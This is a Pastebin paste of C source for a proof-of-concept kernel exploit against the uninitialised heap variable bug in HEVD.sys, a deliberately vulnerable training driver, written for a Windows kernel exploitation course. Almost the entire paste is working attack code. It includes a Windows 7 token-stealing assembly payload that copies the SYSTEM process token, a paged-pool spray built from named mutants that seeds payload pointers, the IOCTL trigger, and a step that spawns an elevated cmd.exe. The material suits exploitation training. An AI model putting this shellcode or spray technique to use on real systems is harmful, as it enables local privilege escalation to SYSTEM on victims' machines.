Guest User

Uninitialized Heap Variable - Windows Kernel Exploitation

a guest
Dec 16th, 2016
1,859
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 11.32 KB | None | 0 0
  1.  /*  
  2.  
  3.     $$\      $$\ $$\   $$\ $$$$$$$$\
  4.     $$ | $\  $$ |$$ | $$  |$$  _____|
  5.     $$ |$$$\ $$ |$$ |$$  / $$ |
  6.     $$ $$ $$\$$ |$$$$$  /  $$$$$\
  7.     $$$$  _$$$$ |$$  $$<   $$  __|
  8.     $$$  / \$$$ |$$ |\$$\  $$ |
  9.     $$  /   \$$ |$$ | \$$\ $$$$$$$$\
  10.     \__/     \__|\__|  \__|\________|
  11.  
  12. POC exploit for uninitialised heap variable vulnerability on HEVD.sys, part of the Windows Kernel Exploitation Course
  13.  
  14. It mostly works. By @_m0t
  15.  
  16. */
  17.  
  18. #include <time.h>
  19. #include <stdio.h>
  20. #include <Windows.h>
  21. #include <winioctl.h>
  22. #include <TlHelp32.h>
  23.  
  24. #define SPRAYSIZEA 10000
  25. #define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
  26. #define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
  27. #define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
  28. #define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE     CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS)
  29.  
  30. #define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
  31. #define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
  32. #define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
  33. #define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
  34. #define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
  35. #define SYSTEM_PID         0x004  // SYSTEM Process PID
  36.  
  37. #define DEBUG_INFO(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_BLUE, fmt, ##__VA_ARGS__); } while (0)
  38. #define DEBUG_ERROR(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_RED, fmt, ##__VA_ARGS__); } while (0)
  39. #define DEBUG_SUCCESS(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_GREEN, fmt, ##__VA_ARGS__); } while (0)
  40. #define DEBUG_MESSAGE(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_GREEN, fmt, ##__VA_ARGS__); } while (0)
  41.  
  42. HANDLE MutantsAr[SPRAYSIZEA];
  43. //HANDLE MutantsArB[SPRAYSIZEB];
  44.  
  45. typedef struct _LSA_UNICODE_STRING {
  46.     USHORT Length;
  47.     USHORT MaximumLength;
  48.     PWSTR  Buffer;
  49. } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
  50.  
  51. typedef struct _OBJECT_ATTRIBUTES {
  52.     ULONG           Length;
  53.     HANDLE          RootDirectory;
  54.     PUNICODE_STRING ObjectName;
  55.     ULONG           Attributes;
  56.     PVOID           SecurityDescriptor;
  57.     PVOID           SecurityQualityOfService;
  58. } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
  59.  
  60. typedef NTSTATUS (WINAPI *NtCreateMutant_t)(
  61.   OUT PHANDLE             MutantHandle,
  62.   IN ACCESS_MASK          DesiredAccess,
  63.   IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,
  64.   IN BOOLEAN              InitialOwner );
  65.  
  66. typedef NTSTATUS (WINAPI *NtCreateDirectoryObject_t)(
  67.   OUT PHANDLE           DirectoryHandle,
  68.   IN ACCESS_MASK        DesiredAccess,
  69.   IN POBJECT_ATTRIBUTES ObjectAttributes
  70. );
  71.  
  72. NtCreateMutant_t NtCreateMutant;
  73. NtCreateDirectoryObject_t NtCreateDirectoryObject;
  74.  
  75. VOID ColoredConsoleOuput(WORD wColor, CONST PTCHAR fmt, ...) {
  76.     SIZE_T Length = 0;
  77.     PTCHAR DebugString;
  78.     va_list args = NULL;
  79.     HANDLE hConsoleOutput;
  80.     WORD CurrentAttributes;
  81.     CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;
  82.  
  83.     va_start(args, fmt);
  84.     Length = _vscprintf(fmt, args) + 2;
  85.     DebugString = (PTCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Length * sizeof(TCHAR));
  86.     hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
  87.     GetConsoleScreenBufferInfo(hConsoleOutput, &ConsoleScreenBufferInfo);
  88.     CurrentAttributes = ConsoleScreenBufferInfo.wAttributes;
  89.     SetConsoleTextAttribute(hConsoleOutput, FOREGROUND_INTENSITY | wColor);
  90.  
  91.     vfprintf(stderr, fmt, args);
  92.     vsprintf_s(DebugString, Length, fmt, args);
  93.     OutputDebugString(DebugString);
  94.  
  95.     SetConsoleTextAttribute(hConsoleOutput, CurrentAttributes);
  96.     va_end(args);
  97.     HeapFree(GetProcessHeap(), 0, (LPVOID)DebugString);
  98. }
  99.  
  100. VOID TokenStealingPayloadWin7Generic() {
  101.     // No Need of Kernel Recovery as we are not corrupting anything
  102.     __asm {
  103.         pushad                               ; Save registers state
  104.  
  105.         ; Start of Token Stealing Stub
  106.         xor eax, eax                         ; Set ZERO
  107.         mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
  108.                                              ; _KTHREAD is located at FS:[0x124]
  109.  
  110.         mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process
  111.  
  112.         mov ecx, eax                         ; Copy current process _EPROCESS structure
  113.  
  114.         mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4
  115.  
  116.         SearchSystemPID:
  117.             mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
  118.             sub eax, FLINK_OFFSET
  119.             cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
  120.             jne SearchSystemPID
  121.  
  122.         mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
  123.         mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
  124.                                              ; with SYSTEM process nt!_EPROCESS.Token
  125.         ; End of Token Stealing Stub
  126.  
  127.         popad                                ; Restore registers state
  128.     }
  129. }
  130.  
  131. HANDLE GetDeviceHandle(LPCSTR FileName) {
  132.     HANDLE hFile = NULL;
  133.  
  134.     hFile = CreateFile(FileName,
  135.                        GENERIC_READ | GENERIC_WRITE,
  136.                        FILE_SHARE_READ | FILE_SHARE_WRITE,
  137.                        NULL,
  138.                        OPEN_EXISTING,
  139.                        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
  140.                        NULL);
  141.  
  142.     return hFile;
  143. }
  144.  
  145. void ResolveApi(){
  146.     HMODULE hModule = LoadLibraryA("ntdll.dll");
  147.    
  148.     if (!hModule) {
  149.         DEBUG_ERROR("[-] Failed To Load ntdll.dll: 0x%X\n", GetLastError());
  150.         exit(EXIT_FAILURE);
  151.     }
  152.  
  153.     NtCreateMutant = (NtCreateMutant_t)GetProcAddress(hModule, "NtCreateMutant");
  154.    
  155.     if (!NtCreateMutant) {
  156.         DEBUG_ERROR("[-] Failed Resolving NtCreateMutant: 0x%X\n", GetLastError());
  157.         exit(EXIT_FAILURE);
  158.     }
  159.    
  160.     NtCreateDirectoryObject = (NtCreateDirectoryObject_t)GetProcAddress(hModule, "NtCreateDirectoryObject");
  161.        
  162.     if (!NtCreateDirectoryObject) {
  163.         printf("[-] Failed Resolving NtCreateDirectoryObject: 0x%X\n", GetLastError());
  164.         exit(EXIT_FAILURE);
  165.     }
  166. }
  167.  
  168. char* CreateBasicStringBlock(UINT32 blockSize){
  169.     char *block = (char*) HeapAlloc(GetProcessHeap(), 0, blockSize);
  170.     if (block == NULL){
  171.         DEBUG_ERROR("[-] Failed To Allocate string block: 0x%X\n", GetLastError() );
  172.         exit(EXIT_FAILURE);
  173.     }
  174.     memset(block, 0, blockSize);
  175.     PVOID payload_ptr = &TokenStealingPayloadWin7Generic;
  176.  
  177.     for (UINT16 i = 0; i <= blockSize - 4; i += 4){
  178.         memcpy(block+i, &payload_ptr, 4);
  179.         if ( i == blockSize - 4 || i + 4 > blockSize - 4){
  180.             block[i+2] = '\x00';
  181.             block[i+3] = '\x00';
  182.         }
  183.     }
  184.     return block;
  185. }
  186.  
  187. /*
  188. allocate a lot of object where you can control the data. address of payload required here
  189. */
  190. void SprayPagedPool() {
  191.     NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
  192.     UINT32 poolBlockOverhead = 0x8; // XXX FIXME
  193.     OBJECT_ATTRIBUTES mutantAttributes;
  194.     HANDLE rootDir;
  195.     UNICODE_STRING mutantName;
  196.  
  197.     memset(MutantsAr, 0x0, SPRAYSIZEA);
  198.     memset(&mutantAttributes, 0, sizeof(mutantAttributes));
  199.     memset(&mutantName, 0, sizeof(mutantName));
  200.    
  201.     //round 1 - allocations
  202.  
  203.     UINT32 SprayBlockSize = 0xf8;
  204.     UINT32 MutantNameSize = SprayBlockSize - poolBlockOverhead;
  205.     char *mutantNameStr = CreateBasicStringBlock(MutantNameSize);
  206.    
  207.     NtStatus = NtCreateDirectoryObject(&rootDir, NULL, NULL);
  208.     if (NtStatus != STATUS_SUCCESS){
  209.         printf("[-] Failed call to NtCreateDirectoryObject Error: 0x%X\n", NtStatus);
  210.         exit(EXIT_FAILURE);
  211.     }
  212.    
  213.     mutantAttributes.RootDirectory = rootDir;
  214.     mutantAttributes.Attributes = 0x80;
  215.     mutantAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
  216.     mutantAttributes.ObjectName = &mutantName;
  217.    
  218.     DEBUG_MESSAGE("[+] Spraying with Mutants for size 0x%x\n", SprayBlockSize);
  219.  
  220.     UINT32 prefixSize = 7;
  221.     char prefix[8];
  222.  
  223.     for (UINT32 i = 0; i < SPRAYSIZEA; i++) {
  224.         memset(prefix, 0, sizeof(prefix));
  225.        
  226.         sprintf(prefix, "%.7d", i);
  227.         //printf("%s\n", prefix);
  228.        
  229.         memcpy((void*)(mutantNameStr+MutantNameSize-prefixSize-2), prefix, prefixSize);
  230.        
  231.         //printf("%s - %d\n", mutantNameStr, strlen(MutantNameSize));
  232.        
  233.         mutantName.Length = MutantNameSize;
  234.         mutantName.MaximumLength = mutantName.Length;
  235.         mutantName.Buffer = (PWSTR)mutantNameStr;
  236.  
  237.         NtStatus = NtCreateMutant(&MutantsAr[i], 0x1F0001, &mutantAttributes, TRUE);
  238.         if (NtStatus != STATUS_SUCCESS){
  239.             DEBUG_ERROR("[-] Failed call to NtCreateMutant - Index: %d - Error: 0x%X\n", i, NtStatus);
  240.             exit(EXIT_FAILURE);
  241.         }
  242.     }
  243.  
  244.     // round II, free
  245.     DEBUG_MESSAGE("[+] Freeing some non contiguous blocks\n");
  246.     for (UINT32 i = 0; i < SPRAYSIZEA; i += 8){
  247.         if (!CloseHandle(MutantsAr[i])) {
  248.             DEBUG_ERROR("[-] Failed To Close Mutant Handle: 0x%X\n", GetLastError());
  249.             exit(EXIT_FAILURE);
  250.         }
  251.     }
  252.  
  253. }
  254.  
  255. int main(){
  256.     HANDLE hFile;
  257.     LPCSTR FileName = (LPCSTR)DEVICE_NAME;
  258.     NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;  
  259.     ULONG MagicValue = 0xBAADF00D;
  260.     ULONG BytesReturned;
  261.     STARTUPINFO StartupInfo = {0};
  262.     PROCESS_INFORMATION ProcessInfo = {0};
  263.    
  264.     __try {
  265.  
  266.         ResolveApi();
  267.  
  268.         DEBUG_MESSAGE("[+] Setting Thread Priority\n");
  269.  
  270.         if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
  271.             DEBUG_ERROR("[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
  272.         }
  273.         else {
  274.             DEBUG_INFO("[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
  275.         }
  276.  
  277.         // Get the device handle
  278.         DEBUG_MESSAGE("[+] Getting Device Driver Handle\n");
  279.         DEBUG_INFO("[+] Device Name: %s\n", FileName);
  280.  
  281.         hFile = GetDeviceHandle(FileName);
  282.  
  283.         if (hFile == INVALID_HANDLE_VALUE) {
  284.             DEBUG_ERROR("[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
  285.             exit(EXIT_FAILURE);
  286.         }
  287.         else {
  288.             DEBUG_INFO("[+] Device Handle: 0x%X\n", hFile);
  289.         }
  290.        
  291.         //DebugBreak();
  292.         SprayPagedPool();
  293.         //DebugBreak();
  294.  
  295.         DEBUG_MESSAGE("[+] Triggering Use of Uninitialized Heap Variable\n");
  296.         DeviceIoControl(hFile,
  297.                             HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE,
  298.                             (LPVOID)&MagicValue,
  299.                             0,
  300.                             NULL,
  301.                             0,
  302.                             &BytesReturned,
  303.                             NULL);
  304.                            
  305.         DEBUG_MESSAGE("[+] Starting cmd.exe...\n");
  306.  
  307.         StartupInfo.wShowWindow = SW_SHOW;
  308.         StartupInfo.cb          = sizeof(STARTUPINFO);
  309.         StartupInfo.dwFlags     = STARTF_USESHOWWINDOW;
  310.  
  311.         CreateProcess(NULL,
  312.             "cmd",
  313.             NULL,
  314.             NULL,
  315.             FALSE,
  316.             CREATE_BREAKAWAY_FROM_JOB,
  317.             NULL,
  318.             NULL,
  319.             &StartupInfo,
  320.             &ProcessInfo);
  321.  
  322.     }
  323.     __except (EXCEPTION_EXECUTE_HANDLER) {
  324.         DEBUG_ERROR("[-] Exception: 0x%X\n", GetLastError());
  325.         exit(EXIT_FAILURE);
  326.     }
  327.     return EXIT_SUCCESS;
  328.    
  329.     DebugBreak();
  330. }
Add Comment
Please, Sign In to add comment